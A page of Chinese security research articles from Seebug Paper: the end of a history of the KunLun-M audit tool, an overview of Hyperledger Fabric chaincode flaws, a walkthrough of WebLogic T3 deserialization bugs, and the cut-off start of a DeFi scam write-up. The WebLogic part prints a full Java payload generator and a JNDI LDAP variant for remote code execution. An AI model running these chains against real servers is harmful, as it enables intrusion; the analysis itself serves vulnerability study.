也正是建立在这个基础上,CodeQL诞生了,它更像是一个基础平台,让你不需要在操心底层逻辑,使用AST还是CFG又或是某种平台,你可以将自动化代码分析简化约束为我们需要用怎么样的规则来找到满足某个漏洞的特征。这个概念也正是现代代码分析主流的实现思路,也就是将需求转嫁到更上层。
聊聊KunLun-M
与大多数的安全研究人员一样,我从事的工作涉及到大量的代码审计工作,每次审计一个新的代码或者框架,我都需要花费大量的时间成本熟悉调试,在最初接触到自动化代码审计时,也正是希望能帮助我节省一些时间。
我接触到的第一个项目就是蘑菇街团队的Cobra
这应该是最早开源的甲方自动化代码审计工具,除了一些基础的特征扫描,也引入了AST分析作为辅助手段确认漏洞。
在使用的过程中,我发现Cobra初版在AST上的限制实在太少了,甚至include都没支持(当时是2017年),于是我魔改出了Cobra-W,并删除了其中大量的开源漏洞扫描方案(例如扫描java的低版本包),以及我用不上的甲方需求等...并且深度重构了AST回溯部分(超过上千行代码),重构了底层的逻辑使之兼容windows。
在长期的使用过程中,我遇到了超多的问题与场景(我为了复现Bug写的漏洞样例就有十几个文件夹),比较简单的就比如前面漏洞样例里提到的新函数封装,最后新加了大递归逻辑去新建扫描任务才解决。还有遇到了Hook的全局输入、自实现的过滤函数、分支循环跳转流程等各类问题,其中我自己新建的Issue就接近40个...
为了解决这些问题,我照着phply的底层逻辑,重构了相应的语法分析逻辑。添加了Tamper的概念用于解决自实现的过滤函数。引入了python3的异步逻辑优化了扫描流程等...
也正是在维护的过程中,我逐渐学习到现在主流的基于CFG的代码分析流程,也发现我应该基于AST自实现了一个CFG分析逻辑...直到后来Semmle QL的出现,我重新认识到了数据流分析的概念,这些代码分析的概念在维护的过程中也在不断地影响着我。
在2020年9月,我正式将Cobra-W更名为KunLun-M,在这一版本中,我大量的剔除了正则+AST分析的逻辑,因为这个逻辑违背了流式分析的基础,然后新加了Sqlite作为数据库,添加了Console模式便于使用,同时也公开了我之前开发的有关javascript代码的部分规则。
KunLun-M可能并不是什么有技术优势的自动化代码审计工具,但却是唯一的仍在维护的开源代码审计工具,在多年研究的过程中,我深切的体会到有关白盒审计的信息壁垒,成熟的白盒审计厂商包括fortify,Checkmarx,Coverity,rips,源伞扫描器都是商业闭源的,国内的很多厂商白盒团队都还在起步,很多东西都是摸着石头过河,想学白盒审计的课程这些年我也只见过南京大学的《软件分析》,很多东西都只能看paper...也希望KunLun-M的开源和这篇文章也能给相应的从业者带来一些帮助。
同时,KunLun-M也作为星链计划的一员,秉承开放开源、长期维护的原则公开,希望KunLun-M能作为一颗星星链接每一个安全研究员。
星链计划地址: - https://github.com/knownsec/404StarLink-Project
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1339/
-
联盟链智能合约安全浅析
作者:极光@知道创宇404区块链安全研究团队
时间:2020年8月27日前言
随着区块链技术的发展,越来越多的个人及企业也开始关注区块链,而和区块链联系最为紧密的,恐怕就是金融行业了。 然而虽然比特币区块链大受热捧,但毕竟比特币区块链是属于公有区块链,公有区块链有着其不可编辑,不可篡改的特点,这就使得公有链并不适合企业使用,毕竟如果某金融企业开发出一个区块链,无法受其主观控制,那对于它的意义就不大。因此私有链就应运而生,但私有链虽然能够解决以上的问题,如果仅仅只是各个企业自己单独建立,那么还将是一个个孤岛。如果能够联合起来开发私有区块链,最好不过,联盟链应运而生。
目前已经有了很多的联盟链,比较知名的有
Hyperledger
。超级账本(Hyperledger)是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目,加入成员包括:IBM、Digital Asset、荷兰银行(ABN AMRO)、埃森哲(Accenture)等十几个不同利益体,目标是让成员共同合作,共建开放平台,满足来自多个不同行业各种用户案例,并简化业务流程。为了提升效率,支持更加友好的设计,各联盟链在智能合约上出现了不同的发展方向。其中,
Fabric
联盟链平台智能合约具有很好的代表性,本文主要分析其智能合约安全性,其他联盟链平台合约亦如此,除了代码语言本身
的问题,也存在系统机制安全
,运行时安全
,业务逻辑安全
等问题。Fabric智能合约
Fabric的智能合约称为链码(chaincode),分为系统链码和用户链码。系统链码用来实现系统层面的功能,用户链码实现用户的应用功能。链码被编译成一个独立的应用程序,运行于隔离的Docker容器中。 和以太坊相比,Fabric链码和底层账本是分开的,升级链码时并不需要迁移账本数据到新链码当中,真正实现了逻辑与数据的分离,同时,链码采用Go、Java、Nodejs语言编写。
数据流向
Fabric链码通过gprc与peer节点交互
(1)当peer节点收到客户端请求的输入(propsal)后,会通过发送一个链码消息对象(带输入信息,调用者信息)给对应的链码。
(2)链码调用ChaincodeBase里面的invoke方法,通过发送获取数据(getState)和写入数据(putState)消息,向peer节点获取账本状态信息和发送预提交状态。
(3)链码发送最终输出结果给peer节点,节点对输入(propsal)和 输出(propsalreponse)进行背书签名,完成第一段签名提交。
(4)之后客户端收集所有peer节点的第一段提交信息,组装事务(transaction)并签名,发送事务到orderer节点排队,最终orderer产生区块,并发送到各个peer节点,把输入和输出落到账本上,完成第二段提交过程。
链码类型
- 用户链码
由应用开发人员使用Go(Java/JS)语言编写基于区块链分布式账本的状态及处理逻辑,运行在链码容器中, 通过Fabric提供的接口与账本平台进行交互
- 系统链码
负责Fabric节点自身的处理逻辑, 包括系统配置、背书、校验等工作。系统链码仅支持Go语言, 在Peer节点启动时会自动完成注册和部署。
部署
可以通过官方
Fabric-samples
部署test-network
,需要注意的是国内网络环境对于Go编译下载第三方依赖可能出现网络超时,可以参考 goproxy.cn 解决,成功部署后如下图:语言特性问题
不管使用什么语言对智能合约进行编程,都存在其对应的语言以及相关合约标准的安全性问题。Fabric 智能合约是以通用编程语言为基础,指定对应的智能合约模块(如:Go/Java/Node.js)
- 不安全的随机数
随机数应用广泛,最为熟知的是在密码学中的应用,随机数产生的方式多种多样,例如在Go程序中可以使用 math/rand 获得一个随机数,此种随机数来源于伪随机数生成器,其输出的随机数值可以轻松预测。而在对安全性要求高的环境中,如 UUID 的生成,Token 生成,生成密钥、密文加盐处理。使用一个能产生可能预测数值的函数作为随机数据源,这种可以预测的数值会降低系统安全性。
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。 并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。 在计算伪随机数时,若使用的初值(种子)不变,这里的“初值”就是随机种子,那么伪随机数的数序也不变。在上述代码中,通过对比两次执行结果都相同。
通过分析rand.Intn()的源码,可见,在”math/rand” 包中,如果没有设置随机种子, Int() 函数自己初始化了一个 lockedSource 后产生伪随机数,并且初始化时随机种子被设置为1。因此不管重复执行多少次代码,每次随机种子都是固定值,输出的伪随机数数列也就固定了。所以如果能猜测到程序使用的初值(种子),那么就可以生成同一数序的伪随机数。
12345678910111213141516fmt.Println(rand.Intn(100)) //fmt.Println(rand.Intn(100)) //fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$- 不当的函数地址使用
错误的将函数地址当作函数、条件表达式、运算操作对象使用,甚至参与逻辑运算,将导致各种非预期的程序行为发生。比如在如下if语句,其中
func()
为程序中定义的一个函数:123if (func == nil) {...}由于使用
func
而不是func()
,也就是使用的是func
的地址而不是函数的返回值,而函数的地址不等于nil
,如果用函数地址与nil
作比较时,将使其条件判断恒为false
。- 资源重释放
defer 关键字可以帮助开发者准确的释放资源,但是仅限于一个函数中。 如果一个全局对象中存储了大量需要手动释放的资源,那么编写释放函数时就很容易漏掉一些释放函数,也有可能造成开发者在某些条件语句中提前进行资源释放。
- 线程安全
很多时候,编译器会做一些神奇的优化,导致意想不到的数据冲突,所以,只要满足“同时有多个线程访问同一段内存,且其中至少有一个线程的操作是写操作”这一条件,就需要作并发安全方面的处理。
- 内存分配
对于每一个开发者,内存是都需要小心使用的资源,内存管理不慎极容易出现的OOM(OutOfMemoryError),内存泄露最终会导致内存溢出,由于系统中的内存是有限的,如果过度占用资源而不及时释放,最后会导致内存不足,从而无法给所需要存储的数据提供足够的内存,从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配,最后导致分配的内存无法满足数据的需求,从而导致内存溢出。
12var detailsID int = len(assetTransferInput.ID)assetAsBytes := make([]int, detailsID)如上代码,
assetTransferInput.ID
为用户可控参数,如果传入该参数的值过大,则make内存分配可能导致内存溢出。- 冗余代码
有时候一段代码从功能上、甚至效率上来讲都没有问题,但从可读性和可维护性来讲,可优化的地方显而易见。特别是在需要消耗gas执行代码逻辑的合约中。
123456if len(assetTransferInput.ID) < 0 {return fmt.Errorf("assetID field must be a non-empty")}if len(assetTransferInput.ID) == 0 {return fmt.Errorf("assetID field must be a non-empty")}运行时安全
- 整数溢出
不管使用的何种虚拟机执行合约,各类整数类型都存在对应的存储宽度,当试图保存超过该范围的数据时,有符号数就会发生整数溢出。
涉及无符号整数的计算不会产生溢出,而是当数值超过无符号整数的取值范围时会发生回绕。如:无符号整数的最大值加1会返回0,而无符号整数最小值减1则会返回该类型的最大值。当无符号整数回绕产生一个最大值时,如果数据用于如 []byte(string),string([]byte) 类的内存拷贝函数,则会复制一个巨大的数据,可能导致错误或者破坏堆栈。除此之外,无符号整数回绕最可能被利用的情况之一是用于内存的分配,如使用 make() 函数进行内存分配时,当 make() 函数的参数产生回绕时,可能为0或者是一个最大值,从而导致0长度的内存分配或者内存分配失败。
智能合约中GetAssetPrice函数用于返回当前计算的差价,第228可知,
gas + rebate
可能发生溢出,uint16表示的最大整数为65535,即大于这个数将发生无符号回绕问题:1234567var gas uint16 = uint16(65535)var rebate uint16 = uint16(1)fmt.Println(gas + rebate) // 0var gas1 uint16 = uint16(65535)var rebate2 uint16 = uint16(2)fmt.Println(gas1 + rebate2) // 1- 除数为零
代码基本算数运算过程中,当出现除数为零的错误时,通常会导致程序崩溃和拒绝服务漏洞。
在
CreateTypeAsset
函数的第64行,通过传入参数appraisedValue
来计算接收资产类型值,实际上,当传入参数appraisedValue
等于17时,将发生除零风险问题。- 忽略返回值
一些函数具有返回值且返回值用于判断函数执行的行为,如判断函数是否执行成功,因此需要对函数的返回值进行相应的判断,以
strconv.Atoi
函数为例,其原型为:func Atoi(s string) (int, error)
如果函数执行成功,则返回第一个参数 int;如果发生错误,则返回 error,如果没有对函数返回值进行检测,那么当读取发生错误时,则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。- 空指针引用
指针在使用前需要进行健壮性检查,从而避免对空指针进行解引用操作。试图通过空指针对数据进行访问,会导致运行时错误。当程序试图解引用一个期望非空但是实际为空的指针时,会发生空指针解引用错误。对空指针的解引用会导致未定义的行为。在很多平台上,解引用空指针可能会导致程序异常终止或拒绝服务。如:在 Linux 系统中访问空指针会产生 Segmentation fault 的错误。
1234567891011121314func (s *AssetPrivateDetails) verifyAgreement(ctx contractapi.TransactionContextInterface, assetID string, owner string, buyerMSP string) *Asset {....err = ctx.GetStub().PutPrivateData(assetCollection, transferAgreeKey, []byte(clientID))if err != nil {fmt.Printf("failed to put asset bid: %v\n", err)return nil}}// Verify transfer details and transfer ownerasset := s.verifyAgreement(ctx, assetTransferInput.ID, asset.Owner, assetTransferInput.BuyerMSP)var detailsID int = len(asset.ID)- 越界访问
越界访问是代码语言中常见的缺陷,它并不一定会造成编译错误,在编译阶段很难发现这类问题,导致的后果也不确定。当出现越界时,由于无法得知被访问空间存储的内容,所以会产生不确定的行为,可能是程序崩溃、运算结果非预期。
系统机制问题
- 全局变量唯一性
全局变量不会保存在数据库中,而是存储于单个节点,如果此类节点发生故障或重启时,可能会导致该全局变量值不再与其他节点保持一致,影响节点交易。因此,从数据库读取、写入或从合约返回的数据不应依赖于全局状态变量。
- 不确定性因素
合约变量的生成如果依赖于不确定因素(如:本节点时间戳)或者某个未在账本中持久化的变量,那么可能会因为各节点该变量的读写集不一样,导致交易验证不通过。
- 访问外部资源
合约访问外部资源时,如第三方库,这些第三方库代码本身可能存在一些安全隐患。引入第三方库代码可能会暴露合约未预期的安全隐患,影响链码业务逻辑。
业务逻辑安全
- 输入参数检查不到位
在编写智能合约时,开发者需要对每个函数参数进行合法性,预期性检查,即需要保证每个参数符合合约的实际应用场景,对输入参数检查不到位往往会导致非预期的结果。如近期爆出的
Filecoin测试网
代码中的严重漏洞,原因是transfer
函数中对转账双方from, to
地址检查不到位,导致了FIL无限增发。12345678910111213141516171819202122232425262728293031### Beforefunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}...}### Afterfunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}fromID, err := vm.cstate.LookupID(from)if err != nil {return aerrors.Fatalf("transfer failed when resolving sender address: %s", err)}toID, err := vm.cstate.LookupID(to)if err != nil {return aerrors.Fatalf("transfer failed when resolving receiver address: %s", err)}if fromID == toID {return nil}...}- 函数权限失配
Fabrci智能合约go代码实现中是根据首字母的大小写来确定可以访问的权限。如果方法名首字母大写,则可以被其他的包访问;如果首字母小写,则只能在本包中使用。因此,对于一些敏感操作的内部函数,应尽量保证方法名采用首字母小写开头,防止被外部恶意调用。
- 异常处理问题
通常每个函数调用结束后会返回相应的返回参数,错误码,如果未认真检查错误码值而直接使用其返回参数,可能导致越界访问,空指针引用等安全隐患。
- 外部合约调用引入安全隐患
在某些业务场景中,智能合约代码可能引入其他智能合约,这些未经安全检查的合约代码可能存在一些未预期的安全隐患,进而影响链码业务本身的逻辑。
总结
联盟链的发展目前还处于项目落地初期阶段,对于联盟链平台上的智能合约开发,项目方应该强化对智能合约开发者的安全培训,简化智能合约的设计,做到功能与安全的平衡,严格执行智能合约代码安全审计(自评/项目组review/三方审计)
在联盟链应用落地上,需要逐步推进,从简单到复杂,在项目开始阶段,需要设置适当的权限以防发生黑天鹅事件。
REF
[1] Hyperledger Fabric 链码
https://blog.51cto.com/clovemfong/2149953
[2] fabric-samples
https://github.com/hyperledger/fabric-samples
[3] Fabric2.0,使用test-network
https://blog.csdn.net/zekdot/article/details/106977734
[4] 使用V8和Go实现的安全TypeScript运行时
https://php.ctolib.com/ry-deno.html
[5] Hyperledger fabric
https://github.com/hyperledger/fabric
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1317/
-
Weblogic12c T3 协议安全漫谈
作者:laker@知道创宇404实验室
时间:2020年8月28日前言
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。 主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 近几年频繁爆发出多个RCE漏洞,而在今年,其T3协议被频繁攻击和发布补丁与绕过,本文主要对今年来由T3协议入口所产生的多个RCE漏洞进行分析,其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555补丁)、 CVE-2020-14645 (bypass CVE-2020-2883补丁)。
环境搭建
两种搭建环境,第一种是利用docker搭建环境,利用IDEA动态调试,可参考[1],本文调试建议使用Weblogic Server版本12.2.1.4.0,对于该版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。
第二种是在官方下载安装包[2],并安装安装指引进行安装[3]。
我们采用第二种进行。在Oracle官网下载后进行安装。
java.exe -jar C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar
安装完后导入IDEA再进行配置即可。
漏洞版本
CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555补丁)
123410.3.6.0.012.1.3.0.012.2.1.3.012.2.1.4.0CVE-2020-14645 (bypass CVE-2020-2883补丁)
112.2.1.4.0漏洞成因
简单理解该漏洞成因便是Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行。
基于代码的漏洞介绍:CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。
T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。同时
T3协议包括
- 请求包头 2. 请求主体
因此,在T3数据包构造过程中,需要发送两部分的数据
- 请求包头,形如
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1
以
\n
结束同时,我们发送t3的请求包,可用于刺探服务器weblogic版本,该服务器会将自身版本进行响应,形如
HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000
- 序列化数据部分,序列化部分的构成方式有两种:
- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
具体T3的数据结构可参考http://drops.xmd5.com/static/drops/web-13470.html,这里我们不关注T3具体数据结构,而是将重心放在T3的反序列化漏洞上。
综上,为实现T3协议的
JAVA
序列化包,需要在T3数据结构头部发送后在其中插入序列化恶意数据,该恶意数据与JAVA的原生ObjectOutputStream数据类型是一样的,然后发送T3数据结构尾部。CVE-2020-2555
由于CVE-2020-2883是对2555补丁的绕过,我们先看看原来的CVE-2020-2555利用链。
123456789BadAttributeValueExpException.readObject()com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出现时 对此进行了修补com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()//...com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()Runtime.exec()我们使用12.2.1.4.0对此进行调试。
根据已知的一些漏洞信息
漏洞的产生点是 coherence.jar 包中的 LimitFilter 函数,我们将相关漏洞包coherence.jar和tangsol.jar 添加到库函数并反编译add as library
在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些断点,调试并发送POC。
根据堆栈信息,Weblogic收到POC的数据后,对其进行分发后对T3的数据段部分进行了反序列化还原操作,进而产生了该漏洞的入口。
利用
BadAttributeValueExpException
类实例可以用来调用任意类的toString()
方法 ,这里可能有小伙伴会好奇,为什么这个类的实例能调用在任意类的toString()
方法?原因如下:利用 java.io.ObjectInputStream反序列化一个类时会默认调用该类的readObject方法。
javax.management.BadAttributeValueExpException#readObject方法会对传入的ObjectInputStream实例提取其val属性的值(这也是为什么我们要将恶意对象注入到val属性)。
然后将该值进行判断(valObj受到我们的控制,就是我们注入val属性的对象),我们需要进入的是val = valObj.toString();进而调用控制的valObj对象的toString方法:
这里的System.getSecurityManager需要为null才会进入toString逻辑。
因此我们可以操控valObj成为任意对象并对让其使用toString方法,这里我们选择的恶意宿主是LimitFilter类,原因如下:
了解到LimitFilter类会被我们操作执行toString方法,其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中, 获取到该类的m_comparator成员属性后,转换为(ValueExtractor)对象并调用自身extract方法 :
这里可能会有疑问,如何去控制m_comparator成员属性呢?因为这个类其实就是我们自己写的恶意类,当然可以控制其成员属性了。
到这里,我们就可以控制我们构造的恶意类里面m_comparator成员的extract方法了,而m_comparator成员可控。因此我们可以控制任意类的extract方法了。而后我们选取的利用类是com.tangosol.util.extractor.ChainedExtractor#extract,因为它的extract方法是这样的,该方法会将this.getExtractors返回的数组依次调extract并返回给oTarget:
this.getExtractors方法继承自AbstractCompositeExtractor,返回成员属性this.m_aExtractor
而这个this.m_aExtractor则来自原始方法AbstractCompositeExtractor(),即是初始化该示例的时候传入的:
那么可以理解为,com.tangosol.util.extractor.ChainedExtractor类会依次对 初始化实例时调用传入的ValueExtractor[]类型的列表 调用extract方法。
至此我们便有了调用多个对象extract的能力。
又是一个疑问,这里都是调用extract方法,怎么才能从extract到Runtime.getRuntime.exec()的调用呢?答案是反射。如果我们可以找到一个类,该类的extract方法可控并且传入参数会被顺序进行反射,那么就可以通过控制extract和传入参数进行RCE了。这个类是com.tangosol.util.extractor.ReflectionExtractor#extract
反射的形式这里不细讲了,有兴趣的可以参考[4]
这里需要形成
需要被调用的方法.invoke(被调用类class, 执行的代码)
。诸如
123456789101112131415161718192021222324***.invoke(***,new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime"))还原调用类class***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")构造method//这里相当于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}//再调一层反射获取exec//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(被调用类class, 执行的代码);//完整反射String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"calc"});然后利用com.tangosol.util.extractor.ReflectionExtractor#extract进行传入构造再invoke。
综上,我们构造如下代码片段。
POC逻辑
1.组装ReflectionExtractor成为列表赋值给valueExtractors(ReflectionExtractor有反射的extract函数)。
2.然后通过放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函数)。
3.然后通过放入limitFilter(limitFilter可让ChainedExtractor使用extract)。
4.然后通过放入BadAttributeValueExpException(令limitFilter使用toString)。
于是构成了该利用链。
最后序列化数据源代码大致如下:
1234567891011121314151617181920212223242526272829303132333435363738394041package test.laker;import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import javax.management.BadAttributeValueExpException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class Exploit {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {//定义多次转换链进行反射调用ValueExtractor[] valueExtractors = new ValueExtractor[]{new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})};//初始化LimitFiler类实例LimitFilter limitFilter = new LimitFilter();limitFilter.setTopAnchor(Runtime.class);BadAttributeValueExpException expException = new BadAttributeValueExpException(null);Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");m_comparator.setAccessible(true);m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");m_oAnchorTop.setAccessible(true);m_oAnchorTop.set(limitFilter, Runtime.class);//将limitFilter放入BadAttributeValueExpException的val属性中Field val = expException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(expException, limitFilter);//生成序列化payloadObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));objectOutputStream.writeObject(expException);objectOutputStream.close();}}CVE-2020-2555补丁
本地补丁检测方式:
12cd %Oracle_Home%/Middleware/wlserver/server/libjava -cp weblogic.jar weblogic.version可以看到,Oracle官方在一月发布了CVE-2020-2555的补丁[5]。
该补丁需要用户持有正版软件的许可账号,使用该账号登陆官方网站方可下载。
该补丁阻断了LimitFilter传入的对象使用extract方法.
CVE-2020-2883
后续 VNPT ISC的研究员Quynh Le向ZDI提交了一个漏洞][6]
该补丁阻断了LimitFilter,也就是阻断了从readObject --->
toString ----> extract
的路径然而该研究员找到了另一个路径去连接readObject ----> extract
java.util.PriorityQueue.readObject
12345678910java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.ExtractorComparator.compare()com.tangosol.util.extractor.ChainedExtractor.extract()//...Method.invoke()//...Runtime.exec()java.util.PriorityQueue#readObject会调用heapify函数,如下图,具体利用时使用双参构造方法,我们看看文档的描述。
使用指定的初始容量创建一个
PriorityQueue
,并根据指定的比较器对元素进行排序。这里我们指定的比较器是 ExtractorComparator ,初始容量为2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
显而易见,这里我们调用的
ExtractorComparator
这个比较器compare函数存在着extract方法。o1和o2的值:
让m_extractor对象使用extract方法。这里操控m_extractor的方法就是反射(具体前面有)。
于是乎,和前面一样的,这个m_extractor对象被修改为数组以达到多个对象调用extract方法。然后就进入到com.tangosol.util.extractor.ChainedExtractor。
至此,完成了从readObject ---> compare ----> extract的连接。后续调用就和CVE-2020-2555相同了。
调用链:
POC可以参考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
CVE-2020-2883补丁
Oracle官方对于CVE-2020-2883的补丁[7]将 extract 方法存在危险操作的 MvelExtractor 和 ReflectionExtractor 两个类加入到了黑名单中(ReflectionExtractor与MvelExtractor 有反射的extract函数)。
12345678910111213java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.AbstractExtractor.compare()com.tangosol.util.extractor.MultiExtractor.extract()com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883Method.invoke()//...Method.invoke()//...Runtime.exec()CVE-2020-14645
ReflectionExtractor与MvelExtractor 被加入了黑名单,如果我们能找到一个类(类的extract函数中有可控的反射操作),便可继续该链条(这里我们有的是readObject ---> compare ----> extract ---> 多个类的extract -->
extract中可控反射)。可采用这个类com.tangosol.util.extractor.UniversalExtractor#extract。
遗憾的是其被transient修饰,被transient关键字修饰的变量不再能被序列化。
但是此处在75行对oTarget传入了extractComplex方法。
又见希望,该方法中也存在可控反射。
值得注意的是,两条method获取方法只能从第一个if去取,原因是else中需要确保
fProperty==false
, 然而184行中m_fMethod存在transient修饰,被transient关键字修饰的变量不再能被序列化因此无法构建序列化字节流。而在if条件中收到参数影响有
sBeanAttribute--> sCName--->this.getCanonicalName()
,这里做的工作就是187行对sCName首字母大写并将其与BEAN_ACCESSOR_PREFIXES列表的值进行拼接,取到则停止返回method。那么
BEAN_ACCESSOR_PREFIXES
列表是什么样的呢?其存储了get和is两个字符串。因此,在拼接的时候,只能形成get___或者is___这样的方法调用。于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法进行反射调用构建JNDI注入,这也是为什么之前都是利用原有的ReflectionExtractor直接反射到Runtime类执行而这里却只能发起JNDI请求在低版本的JDk来执行代码。
POC逻辑
在POC构造上,先初始化JDBC对象,设置this.m_sName参数为getDatabaseMetaData()
12JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);然后是关键点的sName会被去掉前缀,因此后面要进行拼接。
依旧让queue使用ExtractorComparator这个比较器。
12final ExtractorComparator comparator = new ExtractorComparator(extractor);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);对该queue实例设置成员变量(反射)。此处让该实例queue拥有两个成员变量,一个是queue,值为new Object[]{rowSet, rowSet},一个是size,值为2。这里用了写的Reflections工具类,当然也可以一点点用反射进行设置。
12Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});Reflections.setFieldValue(queue, "size", 2);POC可以参考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
收到的LDAP请求:
该CVE漏洞利用服务器有JDK条件,且只能在Weblogic Server 12.2.1.4.*存在。
LDAP: < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
参考文章
[1]利用docker远程动态调试weblogic
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2]官方下载
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3]官方安装指引
[4] JAVA 反射
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le向ZDI提交漏洞
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1321/
-
Defi?Uniswap 项目漏洞教程新骗局
作者:极光 @ 知道创宇404区块链安全研究团队
时间:2020年8月31日前言
昨晚突然看到群里的一个消息,
揭秘uniswap-defi项目漏洞-割韭菜新手法
,心想还有这事?而且还是中英文介绍。到底什么是
DeFi
?,网络上有很多关于DeFi
的定义,目前通用的定义是这样的:DeFi是自己掌握私钥,以数字货币为主体的金融业务
这个定义包含三个层面的意思:- 自己掌握私钥
- 以数字货币为主体
- 金融业务
DeFi是Decentralized Finance(去中心化金融)的缩写,也被称做Open Finance。它实际是指用来构建开放式金融系统的去中心化协议,旨在让世界上任何一个人都可以随时随地进行金融活动。
在现有的金融系统中,金融服务主要由中央系统控制和调节,无论是最基本的存取转账、还是贷款或衍生品交易。DeFi则希望通过分布式开源协议建立一套具有透明度、可访问性和包容性的点对点金融系统,将信任风险最小化,让参与者更轻松便捷地获得融资。
几年前区块链行业还没有
DeFi
这个概念,从默默无闻,一跃成为区块链行业的热门话题,DeFi
只用了短短几年时间。Uniswap
作为完全部署在以太坊链上的DEX平台,促进ETH和ERC20 代币数字资产之间的自动兑换交易,为DeFi
发展提供了良好的支持。作者抓住当下区块链热门话题
DeFi
作为文章主题介绍如何利用uniswap-defi项目漏洞
割韭菜。很显然经过精心思考。分析
打开教程链接,原文教程提醒
